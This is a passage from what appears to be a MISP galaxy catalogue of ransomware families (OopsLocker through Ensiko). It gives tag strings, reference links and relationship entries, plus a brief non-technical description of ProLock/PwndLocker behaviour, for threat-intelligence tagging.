The tag is: *misp-galaxy:ransomware="OopsLocker"*

OPdailyallowance

ransomware

The tag is: *misp-galaxy:ransomware="OPdailyallowance"*

OpenToYou

ransomware

The tag is: *misp-galaxy:ransomware="OpenToYou"*

Ordinal

ransomware

The tag is: *misp-galaxy:ransomware="Ordinal"*

Ordinypt

ransomware

The tag is: *misp-galaxy:ransomware="Ordinypt"*

Pacman

ransomware

The tag is: *misp-galaxy:ransomware="Pacman"*

PassLock

ransomware

The tag is: *misp-galaxy:ransomware="PassLock"*

Pay-or-Lost

ransomware

The tag is: *misp-galaxy:ransomware="Pay-or-Lost"*

PayForNature

ransomware

The tag is: *misp-galaxy:ransomware="PayForNature"*

Paymen45

ransomware

The tag is: *misp-galaxy:ransomware="Paymen45"*

Payment

ransomware

The tag is: *misp-galaxy:ransomware="Payment"*

PClock и PClock2

ransomware

The tag is: *misp-galaxy:ransomware="PClock и PClock2"*

PPDDDP

ransomware

The tag is: *misp-galaxy:ransomware="PPDDDP"*

PEC 2017

ransomware

The tag is: *misp-galaxy:ransomware="PEC 2017"*

Pendor

ransomware

The tag is: *misp-galaxy:ransomware="Pendor"*

Pennywise

ransomware

The tag is: *misp-galaxy:ransomware="Pennywise"*

PewCrypt +decrypt

ransomware

The tag is: *misp-galaxy:ransomware="PewCrypt +decrypt"*

PewDiePie

ransomware

The tag is: *misp-galaxy:ransomware="PewDiePie"*

PhobosImposter

ransomware

The tag is: *misp-galaxy:ransomware="PhobosImposter"*

PhoneNumber

ransomware

The tag is: *misp-galaxy:ransomware="PhoneNumber"*

PHP

ransomware

The tag is: *misp-galaxy:ransomware="PHP"*

Pirateware

ransomware

The tag is: *misp-galaxy:ransomware="Pirateware"*

PoisonFang

ransomware

The tag is: *misp-galaxy:ransomware="PoisonFang"*

PonyFinal

ransomware

The tag is: *misp-galaxy:ransomware="PonyFinal"*

PooleZoor

ransomware

The tag is: *misp-galaxy:ransomware="PooleZoor"*

PopCornTime

ransomware

The tag is: *misp-galaxy:ransomware="PopCornTime"*

PowerHentai

ransomware

The tag is: *misp-galaxy:ransomware="PowerHentai"*

PowerLocky

ransomware

The tag is: *misp-galaxy:ransomware="PowerLocky"*

PowerShell Locker 2013

ransomware

The tag is: *misp-galaxy:ransomware="PowerShell Locker 2013"*

PowerShell Locker 2015

ransomware

The tag is: *misp-galaxy:ransomware="PowerShell Locker 2015"*

Pr0tector

ransomware

The tag is: *misp-galaxy:ransomware="Pr0tector"*

Predator

ransomware

The tag is: *misp-galaxy:ransomware="Predator"*

Priapos

ransomware

The tag is: *misp-galaxy:ransomware="Priapos"*

Project23

ransomware

The tag is: *misp-galaxy:ransomware="Project23"*

Project57

ransomware

The tag is: *misp-galaxy:ransomware="Project57"*

ProLock

PwndLocker is a ransomware that was observed in late 2019 and is reported to have been used to target businesses and local governments/cities. According to one source, ransom amounts demanded as part of PwndLocker activity range from $175k USD to $650k USD depending on the size of the network. PwndLocker attempts to disable a variety of Windows services so that their data can be encrypted. Various processes will also be targeted, such as web browsers and software related to security, backups, and databases. Shadow copies are cleared by the ransomware, and encryption of files occurs once the system has been prepared in this way. Executable files and those that are likely to be important for the system to continue to function appear to be skipped by the ransomware, and a large number of folders mostly related to Microsoft Windows system files are also ignored. As of March 2020, encrypted files have been observed with the added extensions of .key and .pwnd. Ransom notes are dropped in folders where encrypted files are found and also on the user's desktop.

The tag is: *misp-galaxy:ransomware="ProLock"*

View relationships graph

ProLock has relationships with:

- dropped-by: misp-galaxy:botnet="Qbot" with estimative-language:likelihood-probability="likely"

Table 13620. Table References

Links
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://id-ransomware.blogspot.com/2019/10/pwndlocker-ransomware.html
https://medium.com/s2wlab/operation-synctrek-e5013df8d167
https://news.sophos.com/en-us/2020/07/27/prolock-ransomware-gives-you-the-first-8-kilobytes-of-decryption-for-free/
https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/

https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf
https://soolidsnake.github.io/2020/05/11/Prolock_ransomware.html
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.bleepingcomputer.com/news/security/new-pwndlocker-ransomware-targeting-us-cities-enterprises/
https://www.bleepingcomputer.com/news/security/pwndlocker-ransomware-gets-pwned-decryption-now-available/
https://www.cert-pa.it/notizie/pwndlocker-si-rinnova-in-prolock-ransomware/
https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.group-ib.com/blog/prolock
https://www.group-ib.com/blog/prolock_evolution
https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/
https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/
https://www.intrinsec.com/egregor-prolock/
https://www.it-klinika.rs/blog/paznja-novi-opasni-ransomware-pwndlocker-i-u-srbiji
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.zdnet.com/article/fbi-prolock-ransomware-gains-access-to-victim-networks-via-qakbot-infections/
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.ransomlook.io/group/prolock

Prometey

ransomware

The tag is: *misp-galaxy:ransomware="Prometey"*

Protected

ransomware

The tag is: *misp-galaxy:ransomware="Protected"*

PSCrypt

ransomware

The tag is: *misp-galaxy:ransomware="PSCrypt"*

PshCrypt

ransomware

The tag is: *misp-galaxy:ransomware="PshCrypt"*

PTP

ransomware

The tag is: *misp-galaxy:ransomware="PTP"*

Pulpy

ransomware

The tag is: *misp-galaxy:ransomware="Pulpy"*

PureLocker

ransomware

The tag is: *misp-galaxy:ransomware="PureLocker"*

PwndLocker

ransomware

The tag is: *misp-galaxy:ransomware="PwndLocker"*

PyteHole

ransomware

The tag is: *misp-galaxy:ransomware="PyteHole"*

Python

ransomware

The tag is: *misp-galaxy:ransomware="Python"*

PZDC

ransomware

The tag is: *misp-galaxy:ransomware="PZDC"*

Qinynore

ransomware

The tag is: *misp-galaxy:ransomware="Qinynore"*

QNAPCrypt

ransomware

The tag is: *misp-galaxy:ransomware="QNAPCrypt"*

QP

ransomware

The tag is: *misp-galaxy:ransomware="QP"*

QuakeWay

ransomware

The tag is: *misp-galaxy:ransomware="QuakeWay"*

Qweuirtksd

ransomware

The tag is: *misp-galaxy:ransomware="Qweuirtksd"*

R3store

ransomware

The tag is: *misp-galaxy:ransomware="R3store"*

RabbitFox

ransomware

The tag is: *misp-galaxy:ransomware="RabbitFox"*

Ramsey

ransomware

The tag is: *misp-galaxy:ransomware="Ramsey"*

RandomLocker

ransomware

The tag is: *misp-galaxy:ransomware="RandomLocker"*

RanRans

ransomware

The tag is: *misp-galaxy:ransomware="RanRans"*

Rans0mLocked

ransomware

The tag is: *misp-galaxy:ransomware="Rans0mLocked"*

Ransed

ransomware

The tag is: *misp-galaxy:ransomware="Ransed"*

Ransom102

ransomware

The tag is: *misp-galaxy:ransomware="Ransom102"*

RansomAES

ransomware

The tag is: *misp-galaxy:ransomware="RansomAES"*

RansomCuck

ransomware

The tag is: *misp-galaxy:ransomware="RansomCuck"*

RansomMine

ransomware

The tag is: *misp-galaxy:ransomware="RansomMine"*

Ransomnix

ransomware

The tag is: *misp-galaxy:ransomware="Ransomnix"*

Ransom Prank

ransomware

The tag is: *misp-galaxy:ransomware="Ransom Prank"*

RansomUserLocker

ransomware

The tag is: *misp-galaxy:ransomware="RansomUserLocker"*

RansomWarrior

ransomware

The tag is: *misp-galaxy:ransomware="RansomWarrior"*

Rapid

ransomware

The tag is: *misp-galaxy:ransomware="Rapid"*

Rapid 2.0

ransomware

The tag is: *misp-galaxy:ransomware="Rapid 2.0"*

Rapid 3.0

ransomware

The tag is: *misp-galaxy:ransomware="Rapid 3.0"*

Rapid-Gillette

ransomware

The tag is: *misp-galaxy:ransomware="Rapid-Gillette"*

Ra

ransomware

The tag is: *misp-galaxy:ransomware="Ra"*

RaRuCrypt

ransomware

The tag is: *misp-galaxy:ransomware="RaRuCrypt"*

RedBoot

ransomware

The tag is: *misp-galaxy:ransomware="RedBoot"*

Redkeeper

ransomware

The tag is: *misp-galaxy:ransomware="Redkeeper"*

RedFox

ransomware

The tag is: *misp-galaxy:ransomware="RedFox"*

RedRum

ransomware

The tag is: *misp-galaxy:ransomware="RedRum"*

Redshot

ransomware

The tag is: *misp-galaxy:ransomware="Redshot"*

Reetner

ransomware

The tag is: *misp-galaxy:ransomware="Reetner"*

RekenSom

ransomware

The tag is: *misp-galaxy:ransomware="RekenSom"*

Relock

ransomware

The tag is: *misp-galaxy:ransomware="Relock"*

RensenWare

ransomware

The tag is: *misp-galaxy:ransomware="RensenWare"*

Rentyr

ransomware

The tag is: *misp-galaxy:ransomware="Rentyr"*

RestoLocker

ransomware

The tag is: *misp-galaxy:ransomware="RestoLocker"*

Resurrection

ransomware

The tag is: *misp-galaxy:ransomware="Resurrection"*

Retis

ransomware

The tag is: *misp-galaxy:ransomware="Retis"*

RetMyData

ransomware

The tag is: *misp-galaxy:ransomware="RetMyData"*

Revolution

ransomware

The tag is: *misp-galaxy:ransomware="Revolution"*

Reyptson

ransomware

The tag is: *misp-galaxy:ransomware="Reyptson"*

Rhino

ransomware

The tag is: *misp-galaxy:ransomware="Rhino"*

Rijndael

ransomware

The tag is: *misp-galaxy:ransomware="Rijndael"*

Rogue HT

ransomware

The tag is: *misp-galaxy:ransomware="Rogue HT"*

Rontok

ransomware

The tag is: *misp-galaxy:ransomware="Rontok"*

Rozlok

ransomware

The tag is: *misp-galaxy:ransomware="Rozlok"*

RSA-NI

ransomware

The tag is: *misp-galaxy:ransomware="RSA-NI"*

RSA2048Pro

ransomware

The tag is: *misp-galaxy:ransomware="RSA2048Pro"*

Ruby

ransomware

The tag is: *misp-galaxy:ransomware="Ruby"*

Rush

ransomware

The tag is: *misp-galaxy:ransomware="Rush"*

Russenger

ransomware

The tag is: *misp-galaxy:ransomware="Russenger"*

Russian EDA2

ransomware

The tag is: *misp-galaxy:ransomware="Russian EDA2"*

SAD

ransomware

The tag is: *misp-galaxy:ransomware="SAD"*

SadComputer

ransomware

The tag is: *misp-galaxy:ransomware="SadComputer"*

Sadogo

ransomware

The tag is: *misp-galaxy:ransomware="Sadogo"*

Salsa

ransomware

The tag is: *misp-galaxy:ransomware="Salsa"*

Santa Encryptor

ransomware

The tag is: *misp-galaxy:ransomware="Santa Encryptor"*

Saramat

ransomware

The tag is: *misp-galaxy:ransomware="Saramat"*

SARansom

ransomware

The tag is: *misp-galaxy:ransomware="SARansom"*

Satan Cryptor 2.0

ransomware

The tag is: *misp-galaxy:ransomware="Satan Cryptor 2.0"*

Satan’s Doom Crypter

ransomware

The tag is: *misp-galaxy:ransomware="Satan’s Doom Crypter"*

SatanCryptor Go

ransomware

The tag is: *misp-galaxy:ransomware="SatanCryptor Go"*

Saturn

ransomware

The tag is: *misp-galaxy:ransomware="Saturn"*

Satyr

ransomware

The tag is: *misp-galaxy:ransomware="Satyr"*

SaveTheQueen

ransomware

The tag is: *misp-galaxy:ransomware="SaveTheQueen"*

ScammerLocker HT

ransomware

The tag is: *misp-galaxy:ransomware="ScammerLocker HT"*

ScammerLocker Ph

ransomware

The tag is: *misp-galaxy:ransomware="ScammerLocker Ph"*

Schwerer

ransomware

The tag is: *misp-galaxy:ransomware="Schwerer"*

ScorpionLocker

ransomware

The tag is: *misp-galaxy:ransomware="ScorpionLocker"*

Scrabber

ransomware

The tag is: *misp-galaxy:ransomware="Scrabber"*

Scroboscope

ransomware

The tag is: *misp-galaxy:ransomware="Scroboscope"*

SecretSystem

ransomware

The tag is: *misp-galaxy:ransomware="SecretSystem"*

SecureCryptor

ransomware

The tag is: *misp-galaxy:ransomware="SecureCryptor"*

SeginChile

ransomware

The tag is: *misp-galaxy:ransomware="SeginChile"*

SEND.ID.TO

ransomware

The tag is: *misp-galaxy:ransomware="SEND.ID.TO"*

Seon

ransomware

The tag is: *misp-galaxy:ransomware="Seon"*

Sepsis

ransomware

The tag is: *misp-galaxy:ransomware="Sepsis"*

SepSys

ransomware

The tag is: *misp-galaxy:ransomware="SepSys"*

Shadi

ransomware

The tag is: *misp-galaxy:ransomware="Shadi"*

ShadowCryptor

ransomware

The tag is: *misp-galaxy:ransomware="ShadowCryptor"*

ShinigamiLocker

ransomware

The tag is: *misp-galaxy:ransomware="ShinigamiLocker"*

ShkolotaCrypt

ransomware

The tag is: *misp-galaxy:ransomware="ShkolotaCrypt"*

Shrug

ransomware

The tag is: *misp-galaxy:ransomware="Shrug"*

Shutdown57

ransomware

The tag is: *misp-galaxy:ransomware="Shutdown57"*

ShutUpAndDance

ransomware

The tag is: *misp-galaxy:ransomware="ShutUpAndDance"*

Sifreli 2017

ransomware

The tag is: *misp-galaxy:ransomware="Sifreli 2017"*

Sifreli 2019

ransomware

The tag is: *misp-galaxy:ransomware="Sifreli 2019"*

SifreCozucu

ransomware

The tag is: *misp-galaxy:ransomware="SifreCozucu"*

SilentSpring

ransomware

The tag is: *misp-galaxy:ransomware="SilentSpring"*

SintaLocker

ransomware

The tag is: *misp-galaxy:ransomware="SintaLocker"*

Skull

ransomware

The tag is: *misp-galaxy:ransomware="Skull"*

Skull HT

ransomware

The tag is: *misp-galaxy:ransomware="Skull HT"*

SkyStars

ransomware

The tag is: *misp-galaxy:ransomware="SkyStars"*

SlankCryptor

ransomware

The tag is: *misp-galaxy:ransomware="SlankCryptor"*

Snake-Ekans

ransomware

The tag is: *misp-galaxy:ransomware="Snake-Ekans"*

SnakeLocker

ransomware

The tag is: *misp-galaxy:ransomware="SnakeLocker"*

Snatch

ransomware

The tag is: *misp-galaxy:ransomware="Snatch"*

Table 13621. Table References

Links
https://t.me/snatch_news
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://github.com/albertzsigovits/malware-notes/blob/master/Snatch.md
https://intel471.com/blog/a-brief-history-of-ta505
https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://thedfirreport.com/2020/06/21/snatch-ransomware/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://twitter.com/VK_Intel/status/1191414501297528832
https://www.bleepingcomputer.com/news/security/snatch-ransomware-reboots-to-windows-safe-mode-to-bypass-av-tools/
https://www.crowdstrike.com/blog/financial-motivation-drives-golang-malware-adoption/
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access
https://www.ransomlook.io/group/snatch

SnowPicnic

ransomware

The tag is: *misp-galaxy:ransomware="SnowPicnic"*

SoFucked

ransomware

The tag is: *misp-galaxy:ransomware="SoFucked"*

SOLO

ransomware

The tag is: *misp-galaxy:ransomware="SOLO"*

Somik1

ransomware

The tag is: *misp-galaxy:ransomware="Somik1"*

Sorry HT

ransomware

The tag is: *misp-galaxy:ransomware="Sorry HT"*

SpartCrypt

ransomware

The tag is: *misp-galaxy:ransomware="SpartCrypt"*

Spectre

ransomware

The tag is: *misp-galaxy:ransomware="Spectre"*

Table 13622. Table References

Links
https://www.ransomlook.io/group/spectre

Sphinx

ransomware

The tag is: *misp-galaxy:ransomware="Sphinx"*

Table 13623. Table References

Links
https://www.ransomlook.io/group/sphinx

Spiteful Doubletake

ransomware

The tag is: *misp-galaxy:ransomware="Spiteful Doubletake"*

SpongeBob

ransomware

The tag is: *misp-galaxy:ransomware="SpongeBob"*

StalinLocker

ransomware

The tag is: *misp-galaxy:ransomware="StalinLocker"*

Stinger

ransomware

The tag is: *misp-galaxy:ransomware="Stinger"*

Storm

ransomware

The tag is: *misp-galaxy:ransomware="Storm"*

StrawHat

ransomware

The tag is: *misp-galaxy:ransomware="StrawHat"*

Streamer

ransomware

The tag is: *misp-galaxy:ransomware="Streamer"*

Striked

ransomware

The tag is: *misp-galaxy:ransomware="Striked"*

Stroman

ransomware

The tag is: *misp-galaxy:ransomware="Stroman"*

Stupid

ransomware

The tag is: *misp-galaxy:ransomware="Stupid"*

StupidJapan

ransomware

The tag is: *misp-galaxy:ransomware="StupidJapan"*

Styver

ransomware

The tag is: *misp-galaxy:ransomware="Styver"*

Styx

ransomware

The tag is: *misp-galaxy:ransomware="Styx"*

SuperB

ransomware

The tag is: *misp-galaxy:ransomware="SuperB"*

SuperCrypt

ransomware

The tag is: *misp-galaxy:ransomware="SuperCrypt"*

Suri

ransomware

The tag is: *misp-galaxy:ransomware="Suri"*

Symbiom

ransomware

The tag is: *misp-galaxy:ransomware="Symbiom"*

SymmyWare

ransomware

The tag is: *misp-galaxy:ransomware="SymmyWare"*

Syrk

ransomware

The tag is: *misp-galaxy:ransomware="Syrk"*

SYSDOWN

ransomware

The tag is: *misp-galaxy:ransomware="SYSDOWN"*

SystemCrypter

ransomware

The tag is: *misp-galaxy:ransomware="SystemCrypter"*

T1Happy

ransomware

The tag is: *misp-galaxy:ransomware="T1Happy"*

Takahiro Locker

ransomware

The tag is: *misp-galaxy:ransomware="Takahiro Locker"*

TBHRanso

ransomware

The tag is: *misp-galaxy:ransomware="TBHRanso"*

Teamo

ransomware

The tag is: *misp-galaxy:ransomware="Teamo"*

Tear Dr0p

ransomware

The tag is: *misp-galaxy:ransomware="Tear Dr0p"*

Technicy

ransomware

The tag is: *misp-galaxy:ransomware="Technicy"*

TeslaWare

ransomware

The tag is: *misp-galaxy:ransomware="TeslaWare"*

TFlower

ransomware

The tag is: *misp-galaxy:ransomware="TFlower"*

The Brotherhood

ransomware

The tag is: *misp-galaxy:ransomware="The Brotherhood"*

The Magic

ransomware

The tag is: *misp-galaxy:ransomware="The Magic"*

TheCursedMurderer

ransomware

The tag is: *misp-galaxy:ransomware="TheCursedMurderer"*

TheDarkEncryptor

ransomware

The tag is: *misp-galaxy:ransomware="TheDarkEncryptor"*

Thor

ransomware

The tag is: *misp-galaxy:ransomware="Thor"*

Table 13624. Table References

Links
https://www.ransomlook.io/group/thor

THT

ransomware

The tag is: *misp-galaxy:ransomware="THT"*

ThunderCrypt

ransomware

The tag is: *misp-galaxy:ransomware="ThunderCrypt"*

Table 13625. Table References

Links
https://www.ransomlook.io/group/thundercrypt

Tk

ransomware

The tag is: *misp-galaxy:ransomware="Tk"*

Torchwood

ransomware

The tag is: *misp-galaxy:ransomware="Torchwood"*

TorLocker

ransomware

The tag is: *misp-galaxy:ransomware="TorLocker"*

TotalWipeOut

ransomware

The tag is: *misp-galaxy:ransomware="TotalWipeOut"*

TPS1.0

ransomware

The tag is: *misp-galaxy:ransomware="TPS1.0"*

Trick-Or-Treat

ransomware

The tag is: *misp-galaxy:ransomware="Trick-Or-Treat"*

Trojan-Syria

ransomware

The tag is: *misp-galaxy:ransomware="Trojan-Syria"*

TrumpHead

ransomware

The tag is: *misp-galaxy:ransomware="TrumpHead"*

TurkStatik

ransomware

The tag is: *misp-galaxy:ransomware="TurkStatik"*

UCCU

ransomware

The tag is: *misp-galaxy:ransomware="UCCU"*

Ukash

ransomware

The tag is: *misp-galaxy:ransomware="Ukash"*

Ultimo HT

ransomware

The tag is: *misp-galaxy:ransomware="Ultimo HT"*

UltraCrypter

ransomware

The tag is: *misp-galaxy:ransomware="UltraCrypter"*

Unikey

ransomware

The tag is: *misp-galaxy:ransomware="Unikey"*

Unknown Crypted

ransomware

The tag is: *misp-galaxy:ransomware="Unknown Crypted"*

Unknown Lock

ransomware

The tag is: *misp-galaxy:ransomware="Unknown Lock"*

Unknown XTBL

ransomware

The tag is: *misp-galaxy:ransomware="Unknown XTBL"*

Unlckr

ransomware

The tag is: *misp-galaxy:ransomware="Unlckr"*

UNNAM3D

ransomware

The tag is: *misp-galaxy:ransomware="UNNAM3D"*

Unnamed Bin

ransomware

The tag is: *misp-galaxy:ransomware="Unnamed Bin"*

Unrans

ransomware

The tag is: *misp-galaxy:ransomware="Unrans"*

UselessDisk

ransomware

The tag is: *misp-galaxy:ransomware="UselessDisk"*

UselessFiles

ransomware

The tag is: *misp-galaxy:ransomware="UselessFiles"*

USR0

ransomware

The tag is: *misp-galaxy:ransomware="USR0"*

Vaca

ransomware

The tag is: *misp-galaxy:ransomware="Vaca"*

VCrypt

ransomware

The tag is: *misp-galaxy:ransomware="VCrypt"*

vCrypt1

ransomware

The tag is: *misp-galaxy:ransomware="vCrypt1"*

VegaLocker

ransomware

The tag is: *misp-galaxy:ransomware="VegaLocker"*

Table 13626. Table References

Links
https://www.ransomlook.io/group/vegalocker

Velso

ransomware

The tag is: *misp-galaxy:ransomware="Velso"*

Vendetta

ransomware

The tag is: *misp-galaxy:ransomware="Vendetta"*

VevoLocker

ransomware

The tag is: *misp-galaxy:ransomware="VevoLocker"*

VHD

ransomware

The tag is: *misp-galaxy:ransomware="VHD"*

ViACrypt

ransomware

The tag is: *misp-galaxy:ransomware="ViACrypt"*

Viagra

ransomware

The tag is: *misp-galaxy:ransomware="Viagra"*

VideoBelle

ransomware

The tag is: *misp-galaxy:ransomware="VideoBelle"*

ViiperWare

ransomware

The tag is: *misp-galaxy:ransomware="ViiperWare"*

Viro

ransomware

The tag is: *misp-galaxy:ransomware="Viro"*

ViroBotnet

ransomware

The tag is: *misp-galaxy:ransomware="ViroBotnet"*

VisionCrypt

ransomware

The tag is: *misp-galaxy:ransomware="VisionCrypt"*

VMola

ransomware

The tag is: *misp-galaxy:ransomware="VMola"*

VoidCrypt

ransomware

The tag is: *misp-galaxy:ransomware="VoidCrypt"*

Vulston

ransomware

The tag is: *misp-galaxy:ransomware="Vulston"*

Waffle

ransomware

The tag is: *misp-galaxy:ransomware="Waffle"*

Waiting

ransomware

The tag is: *misp-galaxy:ransomware="Waiting"*

Waldo

ransomware

The tag is: *misp-galaxy:ransomware="Waldo"*

Wanna Decryptor Portuguese

ransomware

The tag is: *misp-galaxy:ransomware="Wanna Decryptor Portuguese"*

WannabeHappy

ransomware

The tag is: *misp-galaxy:ransomware="WannabeHappy"*

WannaCash

ransomware

The tag is: *misp-galaxy:ransomware="WannaCash"*

WannaDie

ransomware

The tag is: *misp-galaxy:ransomware="WannaDie"*

WannaPeace

ransomware

The tag is: *misp-galaxy:ransomware="WannaPeace"*

WannaSpam

ransomware

The tag is: *misp-galaxy:ransomware="WannaSpam"*

Want Money

ransomware

The tag is: *misp-galaxy:ransomware="Want Money"*

Wesker

ransomware

The tag is: *misp-galaxy:ransomware="Wesker"*

WhatAFuck

ransomware

The tag is: *misp-galaxy:ransomware="WhatAFuck"*

WhyCry

ransomware

The tag is: *misp-galaxy:ransomware="WhyCry"*

Windows10

ransomware

The tag is: *misp-galaxy:ransomware="Windows10"*

WininiCrypt

ransomware

The tag is: *misp-galaxy:ransomware="WininiCrypt"*

Winsecure

ransomware

The tag is: *misp-galaxy:ransomware="Winsecure"*

WinUpdatesDisabler

ransomware

The tag is: *misp-galaxy:ransomware="WinUpdatesDisabler"*

WTDI

ransomware

The tag is: *misp-galaxy:ransomware="WTDI"*

X Locker 5.0

ransomware

The tag is: *misp-galaxy:ransomware="X Locker 5.0"*

XCry

ransomware

The tag is: *misp-galaxy:ransomware="XCry"*

XD

ransomware

The tag is: *misp-galaxy:ransomware="XD"*

XData

ransomware

The tag is: *misp-galaxy:ransomware="XData"*

XeroWare

ransomware

The tag is: *misp-galaxy:ransomware="XeroWare"*

Xlockr

ransomware

The tag is: *misp-galaxy:ransomware="Xlockr"*

XmdXtazX

ransomware

The tag is: *misp-galaxy:ransomware="XmdXtazX"*

Xncrypt

ransomware

The tag is: *misp-galaxy:ransomware="Xncrypt"*

XRat

ransomware

The tag is: *misp-galaxy:ransomware="XRat"*

View relationships graph

XRat has relationships with:

- used-by: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:rat="xRAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="xrat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="XRat" with estimative-language:likelihood-probability="likely"

XyuEncrypt

ransomware

The tag is: *misp-galaxy:ransomware="XyuEncrypt"*

xXLecXx

ransomware

The tag is: *misp-galaxy:ransomware="xXLecXx"*

Yatron

ransomware

The tag is: *misp-galaxy:ransomware="Yatron"*

Yoshikada

ransomware

The tag is: *misp-galaxy:ransomware="Yoshikada"*

YYYYBJQOQDU

ransomware

The tag is: *misp-galaxy:ransomware="YYYYBJQOQDU"*

ZariqaCrypt

ransomware

The tag is: *misp-galaxy:ransomware="ZariqaCrypt"*

Zelta Free

ransomware

The tag is: *misp-galaxy:ransomware="Zelta Free"*

ZenCrypt

ransomware

The tag is: *misp-galaxy:ransomware="ZenCrypt"*

Zeoticus

ransomware

The tag is: *misp-galaxy:ransomware="Zeoticus"*

Table 13627. Table References

Links
https://www.ransomlook.io/group/zeoticus

Zeppelin

ransomware

The tag is: *misp-galaxy:ransomware="Zeppelin"*

Table 13628. Table References

Links
https://www.ransomlook.io/group/zeppelin

Zero-Fucks

ransomware

The tag is: *misp-galaxy:ransomware="Zero-Fucks"*

ZeroLocker

ransomware

The tag is: *misp-galaxy:ransomware="ZeroLocker"*

Zeronine

ransomware

The tag is: *misp-galaxy:ransomware="Zeronine"*

ZeroRansom

ransomware

The tag is: *misp-galaxy:ransomware="ZeroRansom"*

Zilla

ransomware

The tag is: *misp-galaxy:ransomware="Zilla"*

ZimbraCryptor

ransomware

The tag is: *misp-galaxy:ransomware="ZimbraCryptor"*

ZipLocker

ransomware

The tag is: *misp-galaxy:ransomware="ZipLocker"*

Zipper

ransomware

The tag is: *misp-galaxy:ransomware="Zipper"*

Zoldon

ransomware

The tag is: *misp-galaxy:ransomware="Zoldon"*

ZorgoCry

ransomware

The tag is: *misp-galaxy:ransomware="ZorgoCry"*

Smaug

ransomware

The tag is: *misp-galaxy:ransomware="Smaug"*

GammA

ransomware

The tag is: *misp-galaxy:ransomware="GammA"*

BlackMoon

ransomware

The tag is: *misp-galaxy:ransomware="BlackMoon"*

MilkmanVictory

ransomware

The tag is: *misp-galaxy:ransomware="MilkmanVictory"*

Dragoncyber

ransomware

The tag is: *misp-galaxy:ransomware="Dragoncyber"*

Solider

ransomware

The tag is: *misp-galaxy:ransomware="Solider"*

Biglock

ransomware

The tag is: *misp-galaxy:ransomware="Biglock"*

Immuni

ransomware

The tag is: *misp-galaxy:ransomware="Immuni"*

Black claw

ransomware

The tag is: *misp-galaxy:ransomware="Black claw"*

Banks1

ransomware

The tag is: *misp-galaxy:ransomware="Banks1"*

UnluckyWare

ransomware

The tag is: *misp-galaxy:ransomware="UnluckyWare"*

Zorab

ransomware

The tag is: *misp-galaxy:ransomware="Zorab"*

FonixCrypter

ransomware

The tag is: *misp-galaxy:ransomware="FonixCrypter"*

LickyAgent

ransomware

The tag is: *misp-galaxy:ransomware="LickyAgent"*

DualShot

ransomware

The tag is: *misp-galaxy:ransomware="DualShot"*

RNS

ransomware

The tag is: *misp-galaxy:ransomware="RNS"*

Such_Crypt

ransomware

The tag is: *misp-galaxy:ransomware="Such_Crypt"*

20dfs

ransomware

The tag is: *misp-galaxy:ransomware="20dfs"*

CryDroid

ransomware

The tag is: *misp-galaxy:ransomware="CryDroid"*

TomNom

ransomware

The tag is: *misp-galaxy:ransomware="TomNom"*

Yogynicof

ransomware

The tag is: *misp-galaxy:ransomware="Yogynicof"*

CobraLocker

ransomware

The tag is: *misp-galaxy:ransomware="CobraLocker"*

PL

ransomware

The tag is: *misp-galaxy:ransomware="PL"*

CryCryptor

ransomware

The tag is: *misp-galaxy:ransomware="CryCryptor"*

Blocky

ransomware

The tag is: *misp-galaxy:ransomware="Blocky"*

OhNo-FakePDF

ransomware

The tag is: *misp-galaxy:ransomware="OhNo-FakePDF"*

Try2Cry

ransomware

The tag is: *misp-galaxy:ransomware="Try2Cry"*

LolKek

ransomware

The tag is: *misp-galaxy:ransomware="LolKek"*

FlowEncrypt

ransomware

The tag is: *misp-galaxy:ransomware="FlowEncrypt"*

WhoLocker

ransomware

The tag is: *misp-galaxy:ransomware="WhoLocker"*

Pojie

ransomware

The tag is: *misp-galaxy:ransomware="Pojie"*

Aris Locker

ransomware

The tag is: *misp-galaxy:ransomware="Aris Locker"*

EduRansom

ransomware

The tag is: *misp-galaxy:ransomware="EduRansom"*

Fastwind

ransomware

The tag is: *misp-galaxy:ransomware="Fastwind"*

Silvertor

ransomware

The tag is: *misp-galaxy:ransomware="Silvertor"*

Exorcist

ransomware

The tag is: *misp-galaxy:ransomware="Exorcist"*

Table 13629. Table References

Links
https://medium.com/@velasco.l.n/exorcist-ransomware-from-triaging-to-deep-dive-5b7da4263d81
https://www.ransomlook.io/group/exorcist

WyvernLocker

ransomware

The tag is: *misp-galaxy:ransomware="WyvernLocker"*

Ensiko

ransomware

